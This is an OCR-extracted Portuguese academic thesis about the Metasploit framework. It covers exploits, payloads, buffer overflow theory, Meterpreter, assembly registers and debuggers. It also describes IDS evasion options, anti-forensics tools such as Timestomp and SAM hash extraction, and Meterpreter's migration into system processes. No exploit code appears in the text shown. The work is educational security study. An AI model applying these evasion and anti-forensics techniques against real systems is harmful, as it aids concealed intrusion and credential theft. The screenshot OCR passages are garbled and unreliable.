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RESUMO

Este trabalho teve como objetivo expor os beneficios da utilizacdo do framework Metasploit e
evidenciar como seus recursos aceleram o desenvolvimento de cédigo para exploracdo de
vulnerabilidades. Uma introducdo as principais técnicas de exploracdo, assim como o
conhecimento necessario para aplica-las foi apresentado neste projeto. O prévio conhecimento
da linguagem Assembly para arquitetura IA32 se faz necessario a compreensdo total da
pesquisa. Posteriormente um programa escrito com o intuito de ser vulneravel a buffer
overflow serviu de base para o desenvolvimento de um cédigo que se aproveitasse dessa falha,
a este codigo é dado o nome de exploit. O buffer overflow é uma falha de seguranca, ou seja,
uma vulnerabilidade na qual se utiliza o estouro do buffer a partir da oferta de dados superior
a que a variavel é capaz de armazenar. Esse exploit foi codificado utilizando o framework
Metasploit, que é uma plataforma de cdédigo aberto destinada a acelerar e reforcar o
desenvolvimento e a utilizacdo destes codigos. Ao final deste trabalho a interface msfgui
presente no framework foi utilizada para que o exploit desenvolvido fosse lancado, obtendo

uma sessdo ndo autorizada entre o os computadores envolvidos.

Palavras-Chave: Metasploit, Exploit, Seguranca, Vulnerabilidade.



ABSTRACT

This paper aimed to explain the benefits of using the Metasploit framework and show how
their resources accelerate the development of code to exploit vulnerabilities. Introductions to
the main exploit techniques, as well as the minimum knowledge necessary to apply them were
presented in this project. Some knowledge of Assembly language to IA32 architecture is
necessary to achive the complete understanding of this research. Posteriorly, a program was
written with the intention to be buffer overflow vulnerable and served as base for the
development of a code that takes advantage of this failure, this code is known as an exploit.
The buffer overflow is a security flaw, in other words, a vulnerability in wich you get the
buffer burst by providing more data than the variable can store. This exploit has been coded
using the Metasploit framework, that is an open source platform designed to accelerate and
enhance the development and use of these codes. At the end of this work the msfgui interface,
provided by the framework, was used to released the developed exploit, obtaining an

unauthorized session among the computers involved.

Key Words: Metasploit, Exploit, Security, Vulnerability
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SUMARIO

1 Introdugao

Estudos realizados pela Associacdo Brasileira de Empresas de Software

(ABES, 2009) apontam que o mercado brasileiro de software e servicos ocupa a 122



posicdo no mercado mundial, tendo movimentado em 2008 aproximadamente 15
bilhdes de ddlares, equivalente a 0,96% do PIB brasileiro naquele ano. Deste total,
foram movimentados cinco bilhdes em software, o que representou perto de 1,68% do
mercado mundial. Os restantes 10 bilhdes foram movimentados em servicos

relacionados.

As empresas de desenvolvimento de software vém crescendo de forma
exponencial, em todo mundo a competitividade do mercado obriga os desenvolvedores
a acelerar o processo de criacao exigindo que programas sejam lancados sem que as

verificagOes relativas a seguranca possam ser devidamente aplicadas.

Esses programas em sua maioria apresentam falhas de programacao que
deveriam ser corrigidas antes de lancados ao mercado, dificultando assim a incidéncia

de vulnerabilidades.

Por se tratar de processos muitas vezes exaustivos, a devida atencao
referente & seguranca ndo é empregada, isso torna o software um possivel alvo para

individuos mal intencionados comprometendo dados sigilosos do sistema.

Para que a exaustdo no processo de verificacdo seja minimizada, faz-se
necessario uma ferramenta que reduza o tempo empregado no desenvolvimento do teste

de seguranca efetivo.

O Metasploit é um framework de exploracao de codigo aberto concebido
para proporcionar ao usuario um modelo de desenvolvimento de exploits, possibilitando
que longos trechos de cédigo sejam reutilizados. Essa funcionalidade diminui o tempo
gasto na implementacdo do codigo, o qual pode ser reaproveitado em experiéncias

futuras.

Esse framework separa de maneira eficaz o codigo que explora falhas de
software (conhecido como exploit), do codigo que é executado no sistema objeto com a
finalidade de adquirir privilégios do usudrio atual (payload), tornando possivel a

utilizacdo de um payload em varios exploits.

2 Fundamentacao Teorica

2.1 EXPLOITS



Um programa de computador que se aproveita de vulnerabilidades de um
sistema computacional como o sistema operacional ou servicos de interacao de

protocolos é chamado de exploit.

Segundo ALMEIDA (2003) o termo exploit, que em portugués significa
explorar, é usado comumente para se referir a pequenos cddigos de programas
desenvolvidos especialmente para explorar falhas introduzidas em aplicativos por erros

involuntarios de programacao.

A atual versao do framework (3.3-dev), conta com 384 exploits (figura 2.1),

crescendo a cada atualizacgao.

2 jcldf@ijcldf-desktop: /pentest/exploits/framework3 - Shell - Konsole

Session Edit \iew Bookmarks Settings Help

< metasploit =

\ _
N (o0) D
(__ IA
[--1r
msf v3.3-dev

384 exploits - 231 payloads
20 encoders - 7 nops
160 aux

msf > show exploits

Exploits
Name Description
aix/rpc_ttdbserverd_realpath ToolTalk rpc.ttdbserverd _tt_internal_realpath Bu
bsdi/softcart/mercantec_softcart Mercantec SoftCart CGI Overflow
dialup/multi/login/manyargs System V Derived /bin/login Extraneous Arguments
freebsd/tacacs/xtacacsd report KTACACSD == 4.1.2 report() Buffer Overflow
hpux/lpd/cleanup_exec HP-UX LPD Command Execution
irix/lpd/tagprinter_exec Irix LPD tagprinter Command Execution
linux/games/ut2004_secure Unreal Tournament 2004 "secure' Overflow (Linux)

ElEEEN

Figura 2.1: Exploits pertencentes ao Metasploit framework.

Esses exploits podem ser preparados para atacar um sistema local ou
remoto, variam muito quanto a sua forma e poder de ataque. Por ser um fragmento de
codigo especialmente preparado para explorar falhas muito especificas, geralmente ha
um diferente exploit para cada tipo de aplicativo, para cada tipo de falha e para cada tipo

de sistema operacional.



Os exploits podem existir como programas executaveis ou, quando usados
remotamente, estar ocultos, por exemplo, em links de sites ou dentro de determinado

comando de um protocolo de rede.

Exploits comumente utilizam-se de um tipo especifico de falha conhecida
como buffer overflow (estouro de buffer). Uma variavel é designada para gravar uma
determinada quantidade de informagoes, quando a oferta de dados é superior a que foi
estipulada ocorre o estouro do buffer. Isso possibilita que um cédigo seja executado

com privilégios de operador do sistema.

Conforme mencionado pelo national vulnerability database (NVD, 2009)
foram relatados de janeiro de 2008 a junho de 2009 cerca de 840 falhas relacionadas a

buffer errors atingindo um total de 1424 falhas desde a criacdo deste banco de dados.

Maiores explicacdes sobre a falha de estouro de buffer serdo apresentadas ao

decorrer do trabalho.
2.1.1 PAYLOADS

Payloads sao pedagos de codigo que sdo executados no sistema alvo, como
parte de uma tentativa de exploracdo. Esse codigo é normalmente uma seqiiéncia de
instrucoes Assembly que auxilia o codificador a atingir um determinado objetivo, como

estabelecer uma conexao entre o alvo e o atacante retornando um prompt de comando.

Tradicionalmente os payloads sdo criados a partir do zero ou por
modificacbes em cédigos existentes, isso requer um profundo conhecimento ndo
somente em linguagem Assembly, mas também sobre o funcionamento interno do

sistema operacional alvo.



I jcldf@jcldf-desktop: [pentest/exploits/framework3 - Shell - Konsole

Session Edit View Bookmarks Settings Help

r/pentest/exploits/framework3$ sudo ./msfconsole [+]

# # REEHE HEHE #HE HHEHE # iR §
# E# # # # # # # # # & #
# # # # # #  #iHf # # # # 4 #
# # # # HHEHR # O # # #E #
# # # # # # # # # # # ## #
# # #EHHE  O# # # #EHE # i O #

=[ msf v3.3-dev
+ -- --=[ 384 exploits - 231 payloads
+ -- --=[ 20 encoders - 7 nops

=[ 160 aux

mst = show payloads

Payloads
Name Description
aix/ppc/shell_bind_tcp AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find port AIX Command Shell, Find Port Inline
aix/ppc/shell_reverse_tcp AIX Command Shell, Reverse TCP Inline
bsd/sparc/shell_bind_tcp BSD Command Shell, Bind TCP Inline
bsd/sparc/shell_reverse_tcp BSD Command Shell, Reverse TCP Inline
bsd/x86/exec BSD Execute Command @

(=] | = shell A

Figura 2.2: Payloads pertencentes ao Metasploit framework.

O MSF vem com um grande ntimero de payloads (conforme a figura 2.2,
231 em sua atual versdo) pré-codificados que podem ser usados com qualquer exploit

aumentando a flexibilidade de uso dessa ferramenta.
2.2 BUFFER OVERFLOW

Uma falha de seguranca encontrada em uma grande porcdo dos softwares
atuais é a vulnerabilidade a buffer overflow. Segundo ARANHA (2003) apesar de ser
uma falha conhecida e muito grave, que se origina exclusivamente em falhas do
programador durante o desenvolvimento do programa, o0 erro repete-se
sistematicamente a cada nova versao ou produto liberados. Alguns programas ja sao
famosos por apresentarem freqlientemente esta falha, como o Sendmail, iTunes,
Winamp, modulos do Apache, e grande parte dos produtos da Microsoft, incluindo
Internet Information Services (IIS). Mesmo software considerados seguros, como o

OpenSSH, ja apresentaram este problema.

Um buffer overflow consiste em armazenar em um buffer uma quantidade de
dados superior a sua capacidade, esta falha é usada para apontar cédigos especialmente

escritos por usuarios maliciosos visando obter privilégios sobre o sistema alvo, como



estabelecer conexdes ou executar programas. Todavia apenas linguagens de
programacado que nao efetuam checagem de limite ou alteracdo dindmica no tamanho do

buffer sdo alvos deste problema.

Ainda segundo o autor o principio desta técnica é estourar o buffer e
sobrescrever parte da pilha alterando o endereco de retorno da funcdo para a area em
que o cédigo malicioso encontra-se armazenado, podendo assim executar cddigo

arbitrario com os privilégios do usuario que executa o programa vulneravel.

Utilizar buffer overflow contra variaveis na stack é algumas vezes chamado
stack overflow (overflow de pilha). Como mencionado em Como Quebrar Cédigos
(HOGLUND e McGRAW, 2006) este ataque foi o primeiro do género, amplamente
popularizado e explorado fora do ambiente laboratorial. Ha milhares de overflows de
pilha conhecidos nos software comerciais, em quase todas as plataformas imaginaveis.
Este género de ataque é principalmente o resultado de rotinas de tratamento de string

mal projetadas encontradas nas bibliotecas C-padrao.

Informacdes técnicas sobre o funcionamento dos ataques de estouro de
buffer assim como suas variacdes fogem ao escopo desse trabalho, informacGes sobre
tais técnicas podem ser encontradas em Building Secure Software (VIEGA E

McGRAW, 2001).
2.3 0 METASPLOIT FRAMEWORK

Para aqueles que tiveram a oportunidade de assistir a palestra de H. D.
Moore (Black Hat 2004), puderam presenciar algo somente visto em filmes de ficcdo
tornar-se realidade. O titulo da palestra “Hacking Like in the Movies” referia-se a

chegada de sua ferramenta, o Metasploit Framework (MSF) versao 2.2.0.

As atencdes se voltaram para dois teldes que mostravam respectivamente o
console do MSF e um sistema operacional Windows (a ser comprometido). O sistema
foi comprometido com apenas alguns comandos estabelecendo assim uma conexao com
privilégios administrativos entre o computador de H. D. Moore e o alvo, mas isso era

apenas uma amostra do estava por vir.

A idéia original do Metasploit era criar um jogo que simulasse um ambiente

virtual exploravel ao qual se assemelhasse com a realidade, o projeto gradualmente se



tornou um framework que visava o funcionamento, configuracdo e desenvolvimento de
exploits para vulnerabilidades ja conhecidas. A versdo 2.1 do produto foi lancada em
junho de 2004, desde entdo o desenvolvimento do produto e a adicao de novos exploits

e payloads tem aumentado rapidamente.

Embora inicialmente a estrutura ndo fornecesse nenhum suporte a
colaboradores, com o lancamento da versdo 2.2 o framework se tornou muito mais
amigavel aos desenvolvedores. A versao 2.x originalmente escrita em Perl, Assembly e
C, logo concedeu lugar a versio 3.x que foi completamente reescrita em Ruby,

revisando a arquitetura, interface e as API’s fornecidas aos usuarios.

A popularidade da ferramenta pode ser medida baseada em uma pesquisa
desenvolvida por seu criador H. D. Moore e apresentadas em Cansecwest 2006 e 2007,
o framework foi mencionado em 17 livros, 950 blogs, e 190 artigos desde a liberacdo da
versao 3.0 estavel em marco de 2007, recebendo em menos de dois meses 20.000
requisicoes de download, neste mesmo periodo o utilitario msfupdate desenvolvido para
atualizar a ferramenta foi usado por mais de 4.000 enderecos de IP segundo MAYNOR

e MOOKHEY (2007).
2.3.1 OBJETIVOS DO METASPLOIT

O Metasploit surgiu para fornecer um framework que auxiliasse
profissionais de seguranca da informacdo a desenvolver exploits. Segundo MAYNOR e
MOOKHEY (2007) o ciclo de vida de uma vulnerabilidade e sua exploracdo é

organizado em seis fases mostradas a seguir:

1. Descoberta: O pesquisador descobre uma falha critica na seguranga de um

software.

2. Divulgacado: O pesquisador informa o desenvolvedor do software sobre a

falha para que as medidas necessarias sejam tomadas.

3. Analise: O pesquisador ou qualquer pessoa interessada comega a andlise da
vulnerabilidade a fim de determinar a sua explorabilidade. As perguntas
mais comuns nessa etapa sao: A falha pode ser explorada? Remotamente? A
exploracao poderia resultar em uma execucdo remota de cédigo, ou

simplesmente causaria um crash no servico remoto? Que tamanho de



codigo exploratério poderia ser injetado? Esta fase também analisa o

aplicativo enquanto o codigo é inserido.

4. Desenvolvimento do Exploit: ApoOs as principais questdes serem
respondidas, o desenvolvimento do exploit comeca. Este considerado a “arte
negra” do processo, exige uma profunda compreensao dos registradores do

processador, cddigo Assembly, offsets e payloads.

5. Teste: Esta é a fase em que o codificador verifica o que, de fato, é
vulneravel testando varias plataformas, service pack’s ou patches e algumas

vezes até processadores com arquiteturas diferentes.

6. Lancamento: Depois de ser testado, e 0s parametros necessarios para a sua
execucao serem determinados, o codificador apresenta publicamente o seu
projeto. Muitas vezes o cédigo apresenta falhas propositais em sua
composicdo para dissuadir usudrios comuns a executa-lo contra sistemas

vulneraveis.

Com a chegada do Metasploit, escrever um exploit tornou-se simples
mesmo para um programador amador. O framework ja vem com mais de 300 exploits
prontos para execucdo. Os desenvolvedores estdo avancando rapidamente assim como a
popularidade da ferramenta. Essa é em demasia semelhante ao grande numero de
plugins que o Nessus possui no momento, porém a fama atribuida ao MSF ndo se da
somente pelo crescente repositorio de cédigo, mas pelo modo que é desenvolvido e

arquitetado.

O MSF concorre diretamente com produtos comerciais como o Immunity’s
Canvas e o Core Security Technology’s IMPACT. No entanto, existe uma grande
diferenca entre os objetivos do MSF comparado aos produtos citados. Os produtos
comerciais destinados a testes de intrusdo apresentam interfaces amigaveis e extenso
repositorio de exploits enquanto o MSF explora o desenvolvimento de exploits,
payloads, encoders, geradores de NOP’s e ferramentas de reconhecimento. Além disso,
é também uma plataforma para projetar utilitarios que permitam a investigacdo e o

desenvolvimento de novas técnicas para testes de seguranca.

E provavel que o Metasploit framework torne-se a primeira ferramenta de

seguranca (parcialmente open-source, uma vez que agora € distribuida sob a sua propria



licenca) gratuita a abranger toda uma gama de testes de seguranca com modulos para
determinar hosts vulneraveis, interface com scanners como o Nmap e Nessus, exploits,
payloads e post-exploitation goodies para apropriar-se furtivamente do sistema, e

possivelmente, de toda a rede conforme MAYNOR e MOOKHEY (2007).
2.3.2 EVASAO DE SDI E SPI

Tratando-se de uma ferramenta que esta na vanguarda da exploragdo, o
MSF acaba se tornando alvo de produtos de seguranca, como sistemas de deteccdo de
intrusos (SDI) e sistemas de prevencao de intrusos (SPI). Por esse motivo o Metasploit
conta com recursos que efetuam técnicas de evasao caso a ferramenta seja detectada por
um IDS ou IPS. Com a chegada da versdo 3.0 as técnicas de evasdo foram levadas a

outro patamar.

Microsoft Server Service Relative Path Stack Corruption

# II|___5 ==I|.=55isliilll__i

= Evasion

DCERPCzfake_bind_multi : Use multi-context bind calls
Select your options | DCERPC:fake_bind_multi
DCERPC:fake_bind_multi_append : Set the number of UUIDs to append the target
0 c.
DCERPC::fake_bind_multi_prepend : 5t the number of UUIDs to prepend before the target
0

DCERPC:max_frag_size : Set the DCERPC packet fragmentation size
4096

DCERPC::smb_pipeio : Use g different delivery method for accessing named pipes (accepted: rw, trans)
w

SMB::obscure_trans_pipe_level : Obscure PIPE string in TransNamedPipe (level 0-3)
0

SMB:pad_data_level : Place extra padding between headers and data (level 0-3)
i}

Cancelar ] [ Voltar ] [ Avancar

Figura 2.3: Opcdes de evasdo do Metasploit framework.
Opcoes de evasdo agora se encontram em uma classe dentro das bibliotecas
do framework. O protocolo de empilhamento (HTTP, Distributed Computing
Environment Remote Procedure Call [DCERPC], Simple Mail Transfer Protocol



[SMTP], Sun RPC) integra a evasao de IDS, por exemplo, os seguintes métodos

garantem evasao em nivel de protocolo:

e TCP::max_send_size

e TCP::send_delay

e HTTP::chunked

*  HTTP::compression

* SMB::pipe_evasion

e DCERPC::bind_multi

e DCERPC::alter_context
2.3.3 METASPLOIT ANTI-FORENSE

Esta é uma colecao de documentos e ferramentas cujo objetivo é auxiliar o
comprometimento da andlise feita por software forense. As ferramentas sdo
disponibilizadas como parte de um pacote intitulado Metasploit Anti-Forensic

Investigation Arsenal (MAFIA). Este é composto por:

e Timestomp: A primeira ferramenta desenvolvida para modificar arquivos do
sistema de arquivos New Technology File System (NTFS). Pode-se
modificar os valores de quando os arquivos foram criados, modificados e

deletados.

e Slacker: A primeira ferramenta desenvolvida para esconder arquivos em

particoes NTFS.

e Sam Juicer: Um modulo do Meterpreter capaz de extrair hashes dos

arquivos SAM sem acessar o disco rigido.

e Transmogrify: Ferramenta capaz de enganar o EnCase’s file-signaturing

permitindo mascarar qualquer tipo de arquivo.

Os futuros trabalhos previstos pelo projeto incluem manipulagdo de logs de

browser, delecao segura de arquivos, modificacdio de arquivos de meta-dados e



documentacado relativa a técnicas anti-forence. O projeto anti-forence esta disponivel em

http://www.metasploit.com/research/projects/antiforensics/.
2.4 POR QUE RUBY?

Por que a equipe do Metasploit adotou o Ruby como linguagem padrao de

desenvolvimento? As seguintes razoes ilustram o raciocinio por tras dessa decisao:

* Depois de analisar uma série de linguagens considerando seriamente Pyton,
Perl, C e C++, a equipe do Metasploit constatou que Ruby oferecia uma

simples e poderosa abordagem para linguagens interpretadas.

e O grau de introspeccdo e orientacdo a objetos atende muito bem as

necessidades do framework.

* O framework precisa de construcoes automatizadas para o re-uso de codigo,
e o Ruby é bem adaptado a esta situacdo, comparado ao Perl, que foi a

principal linguagem de programacao utilizada nas versoes 2.x.

* O Ruby também oferece uma plataforma independente de suporte para

threading, resultando em significativos ganhos de desempenho.

e A existéncia de um interpretador nativo para plataformas Windows
impulsionou ainda mais a aceitacao da linguagem Ruby. Embora Perl tenha
versoes do cygwin e do ActiveState, ambos sao atormentados por problemas

de usabilidade.

Extrapolando todas essas vantagens que o Ruby trazia para o Metasploit, o
fator determinante da escolha foi o apresso dos desenvolvedores, de fato, essa era uma

linguagem em que os codificadores do projeto tinham prazer de trabalhar.
2.5 DESIGN E ARQUITETURA

O MSF foi desenvolvido para ser o mais modular possivel, a fim de
encorajar a reutilizacao de codigos entre varios projetos. A parte mais importante da
arquitetura do framework é a Rex library que é a abreviacdo de Ruby Extension Library.
Alguns dos componentes fornecidos pelo Rex incluem um wrapper socket subsystem,

logging subsystem e uma série de outras classes uteis. O proprio Rex é projetado para



ndo ter outras dependéncias além das que sao incluidas no pacote de instalagcdo do Ruby.

A arquitetura da versao 3.0 do MSF é mostrada na figura 2.4:

Libraries .
-
k(usmm Plugins i '_|_( Profocol Tools ]
b

framework-core

framework-base

.Y

| [ Security Tools

| msfconsole P | exploits |

| msfcli | - | payloads |

| msfweb | [ s S‘erwces J | encoders |

| mshwx | - | nops |
| Integration ‘

| msfapi | < | auxiliory |

Figura 2.4: Arquitetura do Metasploit framework (MAYNOR e MOOKHEY, 2007).

O framework é dividido em diferentes partes, sendo o framework core a de
nivel mais baixo, responsdvel pela execucdao de todas as interfaces que permitem
interacao com os exploits, modulos, sessdes e plugins. A biblioteca core é estendida
pelo framework base library que é destinada a proporcionar um empacotamento de
rotinas mais simples para lidar com o framework core bem como dispor de classes tteis
para lidar com os diferentes aspectos do framework. E finalmente, a biblioteca base é
estendida pelo framework ui que implementa suporte aos diferentes tipos de interface de

usudrios, como o console de comandos e a interface web.

Em paralelo ao framework, os modulos e plugins concedem apoio ao
desenvolvimento dos exploits. O mddulo tem como fungdo organizar e separar de
acordo com as caracteristicas, ele se subdivide em exploit, payload, encoder, NOP
generator e auxiliary. A interface estabelece uma relacdo direta entre o usudrio e o

computador, os modulos podem ser carregados dentro das interfaces.



Os plugins sdao projetados para mudar o framework em si, alteram a
utilidade do quadro adicionando novas funcionalidades. E a introducdo de plugins que
reforca a serventia do framework como uma plataforma de desenvolvimento para

ferramentas de seguranca.
2.6 METERPRETER

Ao explorar uma vulnerabilidade de software existem alguns resultados que
sao esperados pelo atacante. O mais comum desses, é ter acesso a um interpretador de
comandos (cmd.exe ou /bin/sh) que lhes permite executar comandos na maquina remota
com os privilégios do usudario que estd executando o software vulneravel. O acesso ao
interpretador de comandos da maquina alvo da ao invasor praticamente controle total
sobre o sistema sendo delimitado apenas pelos privilégios do usuario atual. Embora
indubitavelmente existam beneficios em utilizar o interpretador de comandos, algumas

melhorias podem ser feitas.

Meterpreter (uma abreviacao de meta-interpreter) é um avancado payload
contido no framework Metasploit, sua finalidade é proporcionar recursos avancados
prontos, pois se os mesmos fossem criados o processo tornar-se-ia exaustivo visto que a
linguagem de programacdo seria em Assembly. Esse payload permite escrever suas
proprias extensdes sob a forma de “DLL” que podem ser carregadas e injetadas no
computador alvo. O Meterpreter e todas as suas extensdes, por serem carregadas
diretamente na memoria principal, ndo chegam a tocar o disco rigido do alvo,

dificultando assim a detec¢do por um antivirus comum.

Com o lancamento da versao 3.0 do MSF o Meterpreter apresentou uma

significativa melhora em seus recursos, como:

e

1. Um dos aspectos mais poderosos do Meterpreter é o fato de que ele é
executado dentro de um contexto de processo vulneravel. A nova versao vai
além, permitindo migrar as instancias do servidor Meterpreter para um
processo completamente diferente sem estabelecer uma nova conexao.
Entdo, se migrarmos para um servico do sistema como o Isass.exe, a unica

maneira de matar o processo do servidor seria encerrar todo o sistema.



2. A extensdo Vinnie Liu’s SAM Juicer agora faz parte da escalada de
privilégios do payload, permitindo capturar as hashes presentes no SAM

databese.

3. O payload conta agora com um extensivo suporte para interagir com
processos em nivel de kernel, podendo carregar e descarregar DLL’s,

manipular memoria e threats e assim por diante.

4. Semelhante ao msfconsole, o Meterpreter conta com um shell interativo que
pode ser usado para acessar uma instancia de servidor em nivel de script,
podendo procurar e substituir strings da memoria virtual de qualquer

processo remoto acessivel.

5. O payload também permite desabilitar o funcionamento do mouse e teclado

do alvo.
2.7 REGISTRADORES

Podemos comparar um registrador a uma variavel, no qual sao armazenados
valores diversos, descrito em SIQUEIRA (2008), existem tipos distintos de
registradores na linguagem Assembly como os de “uso geral”, que podem armazenar
qualquer valor ou dado e os registradores especiais. Nem todos os registradores podem
ser usados para armazenar valores inseridos diretamente pelo programador, como o
registrador eip (incluido na classe dos registradores especiais). Cada registrador possui

uma determinada funcao.

Nos sistemas Unix like os registradores de uso geral, além de poderem ser
usados para o armazenamento de qualquer tipo de dado, também possuem funcoes
exclusivas na execucao de uma syscall. Os registradores de uso geral sdo mostrados na

tabela abaixo:

AX Accumulator Registrador Acumulador
BX Base Registrador de Base

CX Couter Registrador Contador
DX Data Registrador de Dados

Tabela 2.1: Registradores gerais.



Antes dos processadores 80386, esses registradores possuiam 16 bits, ja nos
processadores atuais eles possuem 32 bits. Esses registradores sao compostos por uma
parte alta (High) e uma parte baixa (Low). Nos de 16 bits é divido em 8 high e 8 low ,
nos de 32 bits, é separado entre 16 high e 16 low.

Os registradores especiais (termo usado para referenciar os registradores que
ndo sdo de uso geral) podem ser divididos em: registradores de segmento, registradores

de deslocamento e registradores de estado.

Os registradores de segmento CS (Code Segment), DS (Data Segment), ES
(Extra data Segment) e SS (Stack Segment) tém 16 bits e sdo utilizados para acessar
uma determinada area de memoria denominada offset (segmento), ou seja, esses
registradores sdo utilizados para auxiliar o microprocessador a encontrar o caminho pela

memoria do computador.

Os registradores de deslocamento estdo associados ao acesso de uma
determinada posicdo de memoéria previamente conhecida, com o uso dos registradores

de segmento.

Existem cinco registradores de ponteiro dos quais quatro sdao manipulaveis:
SI (Source Index), DI (Destination Index), SP (Stack Pointer) e BP (Base Pointer). O
registrador IP (Instruction Pointer), referente ao apontador da préxima instru¢ao possui
o valor de deslocamento (Offset) do codigo da proxima instrucdo a ser executada. Este
registrador ndo € acessivel por qualquer instrucdo por se tratar de um componente de

uso interno do microprocessador.

Os registradores de apontamento DI e SI sdo indices de tabela, SI faz a
leitura de uma tabela e DI a escrita. SP e BP permitem o acesso a pilha de programas
(memoria utilizada para armazenar dados). A pilha possibilita guardar dados em
memoria, sem utilizar registradores gerais. O registrador SP acessa o proximo segmento
vazio da pilha a partir do ultimo dado armazenado, ja o registrador BP é utilizado para

efetuar o apontamento para a base da pilha.

Os registradores de estado (Flag) tém 16 bits que agrupa um conjunto de
flags de um bit, cada flag sinaliza um estado de comportamento particular do
computador, os registradores de estado ndo apresentam significancia ao escopo deste

trabalho, porém sdo considerados os registradores de maior importancia ndao sé para os



microprocessadores 8086, mas para qualquer processador existente. Maiores
explicacbes sobre registradores assim como linguagem Assembly podem ser

encontrados em (MANZANO, 2007).
2.8 CONJUNTOS DE INSTRUCOES ASSEMBLY

Os conjuntos de instrucoes Assembly (Instruction set) se utilizarao dos
registradores. Essas instru¢des sao responsaveis pela copia de um dado na memoria para
um registrador ou de registrador para registrador. Apenas as instrugdes relacionadas ao
trabalho serdo apresentadas, elas irdo proporcionar base para o entendimento das
técnicas apresentadas ao decorrer do mesmo. As instrucOes aceitas por um

microprocessador sao determinadas por seus desenvolvedores.

Instrucao Propésito

MOV Copiar o conteido do operando-fonte para o operando-destino. O

conteudo da fonte ndo é afetado.

CALL Chamar uma sub-rotina. Muda o fluxo de execugdo e retorna ao

ponto do programa imediatamente posterior a instru¢ao de

chamada.
NOP Pular para a proxima instrugao.
INC Somar 1 ao conteido de um operando, que pode ser registrador ou

posicdao de memoria.
DEC Subtrair 1 de um operando, que pode ser registrador ou memoria.

ADD Executar a adicdo entre dois operandos, um fonte e outro destino,

devolvendo o resultado no destino.

SUB Efetuar uma subtracdo entre o contetido do operando-fonte e o
conteido do operando-destino, resultado no operando-destino. Se o

flag CF = 1, indica que um valor maior foi subtraido de um menor.

JMP Provocar um desvio incondicional no fluxo de processamento,

transferindo a execugao para o operando-alvo.

AND Executar a fungdo légica E entre cada bit de um operando-fonte e o
correspondente bit de um operando-destino. Colocando o resultado

no operando-destino.

OR Executar a operacdo logica OU entre o contetido de dois operandos



e devolver o resultado no destino. A operacao é feita bit a bit.

XOR Executar uma operagdao OU Exclusivo entre dois operandos,

devolvendo o resultado no operando-destino.

Tabela 2.2: Conjunto de Instrucdes Assembly.

2.9 FUNCIONAMENTO DA PILHA

A pilha ou stack é utilizada para determinados fins em uma execucdo de
programa, como armazenar enderecos de retorno e passar parametros para as sub-
rotinas. Todas as variaveis locais sao armazenadas na pilha. As instru¢des utilizadas

para manipulacdo da stack sao:

PUSH Empurra dados sobre a pilha.

POP Retira os dados do topo da pilha e insere os mesmos sobre um

registrador especificado previamente pelo programador

Tabela 2.3: Instru¢des PUSH e POP.

Conforme MANZANO (2007) o uso da pilha facilita muitas operacoes de
manipulacdo de valores, pois é possivel armazenar valores na pilha ou retira-los via

programacado pelas instrucdes especificas para essa finalidade, como PUSH e POP.

A pilha trata-se de um tipo especial de lista em que todas as operagdes sao
empilhadas, aguardando para serem executadas. O elemento € retirado na ordem inversa
daquela em que foi inserido, ou seja, o ultimo elemento que entra é sempre o primeiro

que sai. Por isso este tipo de estrutura é chamado “LIFO” (Last In — First Out).

Manipular uma pilha de valores é 1util em situacoes nas quais é preciso
guardar um valor de um registrador antes de um procedimento e recupera-lo antes da

finalizacdo do mesmo.
2.10 DEBUGGERS E DISASSEMBLERS

Apesar de quase sempre estarem contido em um mesmo aplicativo, 0s
debuggers (depuradores) e disassemblers (desmontadores) possuem finalidades

diferentes.



Segundo BIRCK (2007) disassemblers sdo aplicativos que conseguem
transformar linguagem de madaquina em linguagem Assembly, transcrevendo as
instrucoes enviadas ao processador para os seus mnemonicos em Assembly. Estas
aplicacoes ndo devem ser confundidas com um descompilador, que procura converter o
cédigo nativo em uma linguagem de mais alto nivel. Ja os debuggers sdo aplicativos

capazes de analisar, depurar e testar aplicagoes.

Atualmente, grande parte das IDEs de programacdo contam com um
debugger embutido, sua principal utilidade é identificar e tratar erros, sendo possivel
rodar o codigo linha a linha para que possamos analisar a mudanca das variaveis e o
comportamento do cédigo. Os debuggers de binarios ja compilados seguem o mesmo
conceito dos depuradores, mas devido ao fato do codigo ja ter sido compilado, ele

precisa ter um disassembler embutido em um debugger para decodificar as instrucoes.

Ainda segundo o autor, existem dividas sobre os beneficios de se utilizar
debuggers, sendo que em grande parte das vezes temos acesso ao codigo fonte original
(caso tenhamos programado o aplicativo), contudo, sua aplicabilidade se estende além

de simplesmente analisar os programas em linguagem Assembly, por exemplo:

* Tratamento de erros: Durante a programacdo de um aplicativo pequenos
erros podem passar despercebidos, ocasionando mau funcionamento. Em
muitos casos analisar os binarios ja compilados dentro de um debugger

torna-se mais facil do que tentar encontrar o erro no cédigo original.

* Engenharia Reversa: Sem a utilizacdo de debuggers e disassemblers o
processo de engenharia reversa ndo poderia ser feito de forma eficiente.
Ainda existe confusdo entre cracking e engenharia reversa, porém sao
conceitos diferentes. A engenharia reversa é uma atividade completamente
legal, muito do que vemos hoje (como os drivers para Linux) apenas sao

possiveis devido ao uso da engenharia reversa.

* Aprendizado: Uma das melhores formas de se aprender a linguagem
Assembly. Pode-se programar algo em uma linguagem de alto nivel e
posteriormente analisar o resultado do bindrio compilado dentro de um
debugger, esse conhecimento ajuda a dominar melhor a linguagem e criar

algoritmos mais eficientes.



Existem atualmente dezenas de debuggers e disassemblers, dentre os quais
os mais famosos sdo: IDA, WinDbg, W32DASM e Ollydbg. Neste trabalho iremos
utilizar o OllyDbg (figura 2.5) por ser um dos melhores e mais poderosos debuggers

disponiveis no mercado.

0llyDbg - everestexe - [CPU - main thread, module everest] = X
@ File View Debug Trace Options Windows Help -8 X
Bielx] »]]n] v ] L] E[m[c]-] B[m[u] &

T | e -
[Registers (F
coaFarA|| - €5 FrasiEes i A =
AhAEaen || - EHcs ae ety
coRFoBs| | - = ED¥ ?CQBESM ntdll.KiFastSustenCal lRet
Rl | e A EBY 7FFOEE06
ESF |@1DFFFC4
oDGFeEs|| - Cre3 pamanze) DU DUGRD FTR 0S: (EBK1,29803 o e
sodFaee [+ 33 o EBI TC515008 nrdll.7Co13098
G0AF BED 5 oF : _
B0AF BEE 5 oF EIP BBDAFESE euerest.<ModuleEntryPoint>
GOAF GEF &
BORFECH = PUSH EEP Li8 (Eoyabes.atalt BUFDFEFEEE)
OOPEALL Z; SHSHeED A6 S5 BE23 SZhit G ]
GDREDLS o SHSHCEST 21 DE BB23 ZZhit GIFFFFFFFE)
R | [iSHEEDS §@ F$ @838 33hit rFFOF@EG(FFF)
